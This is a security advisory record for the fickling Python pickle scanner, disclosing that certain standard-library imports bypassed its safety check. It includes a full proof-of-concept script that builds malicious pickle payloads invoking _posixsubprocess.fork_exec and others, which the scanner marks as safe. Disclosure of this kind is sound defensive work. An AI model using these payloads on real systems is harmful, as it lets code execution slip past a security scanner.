{"id":"GHSA-m6fh-58r7-x697","summary":"Fickling safety checks can miss dangerous standard-library imports","details":"# Analysis\n\nThe fix adds `_posixsubprocess`, `site` and `atexit` to the blocklist (https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af).\n\n# Original report\n\n_posixsubprocess, site, and atexit are missing from UNSAFE_IMPORTS in fickle.py. This shares the same root cause as CVE-2026-22607 and GHSA-5cxw-w2xg-2m8h.\n\n_posixsubprocess.fork_exec:  C-level process spawner. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.10.\n\nOvertlyBadEvals skips them because they're in likely_safe_imports (stdlib). UnsafeImports doesn't catch them because they're not in the denylist. SETITEMS pattern defeats UnusedVariables.\n\nPoC (tested against 0.1.10 from PyPI):\n\n#!/usr/bin/env python3\n\nimport sys\n\nfrom fickling.analysis import check_safety\nfrom fickling.fickle import UNSAFE_IMPORTS, Pickled\nimport fickling.fickle as op\n\n\nBYPASS_TARGETS = [\n    {\n        \"module\": \"_posixsubprocess\",\n        \"function\": \"fork_exec\",\n        \"impact\": \"C-level fork/exec — spawns arbitrary child processes\",\n    },\n    {\n        \"module\": \"site\",\n        \"function\": \"execsitecustomize\",\n        \"impact\": \"Executes arbitrary site customization code at interpreter startup\",\n    },\n    {\n        \"module\": \"atexit\",\n        \"function\": \"_run_exitfuncs\",\n        \"impact\": \"Triggers all registered atexit callbacks\",\n    },\n]\n\n\ndef build_payload(module: str, function: str) -\u003e Pickled:\n    return Pickled([\n        op.Proto.create(4),\n        op.ShortBinUnicode(module),\n        op.ShortBinUnicode(function),\n        op.StackGlobal(),\n        op.ShortBinUnicode(\"/etc/passwd\"),\n        op.TupleOne(),\n        op.Reduce(),\n        op.Memoize(),\n        op.EmptyDict(),\n        op.ShortBinUnicode(\"init\"),\n        op.ShortBinUnicode(\"x\"),\n        op.SetItem(),\n        op.Mark(),\n        op.ShortBinUnicode(\"trace\"),\n        op.BinGet(0),\n        op.SetItems(),\n        op.Stop(),\n    ])\n\n\ndef main():\n    print(f\"Fickling Safety Bypass PoC\")\n    print(f\"UNSAFE_IMPORTS denylist size: {len(UNSAFE_IMPORTS)} modules\")\n    print(f\"{'=' * 72}\\n\")\n\n    all_passed = True\n\n    for target in BYPASS_TARGETS:\n        module = target[\"module\"]\n        function = target[\"function\"]\n        label = f\"{module}.{function}\"\n\n        in_denylist = module in UNSAFE_IMPORTS\n        pickled = build_payload(module, function)\n        results = check_safety(pickled)\n\n        bypassed = results.severity.name == \"LIKELY_SAFE\" and len(results.results) == 0\n\n        print(f\"Target: {label}\")\n        print(f\"  In UNSAFE_IMPORTS: {in_denylist}\")\n        print(f\"  check_safety():    {results.severity.name} ({len(results.results)} findings)\")\n        print(f\"  Impact:            {target['impact']}\")\n        print(f\"  Status:            {'BYPASS CONFIRMED' if bypassed else 'DETECTED'}\")\n        print()\n\n        if not bypassed:\n            all_passed = False\n\n    print(f\"{'=' * 72}\")\n    if all_passed:\n        print(f\"RESULT: {len(BYPASS_TARGETS)}/{len(BYPASS_TARGETS)} targets bypass check_safety()\")\n        print(f\"        fickling.load() would execute all payloads after returning LIKELY_SAFE\")\n    else:\n        print(f\"RESULT: Some targets were detected. Check fickling version.\")\n\n    return 0 if all_passed else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","aliases":["CVE-2026-14534","PYSEC-2026-2149"],"modified":"2026-12-03T02:45:05.631778246Z","published":"2026-12-03T02:37:49Z","database_specific":{"github_reviewed_at":"2026-12-03T02:37:49Z","nvd_published_at":null,"cwe_ids":["CWE-184"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-m6fh-58r7-x697"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/272"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/blob/main/vulns/fickling/PYSEC-2026-2149.yaml"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.11"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/cve-2026-14534"}],"affected":[{"package":{"name":"fickling","ecosystem":"PyPI","purl":"pkg:pypi/fickling"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.11"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-m6fh-58r7-x697/GHSA-m6fh-58r7-x697.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}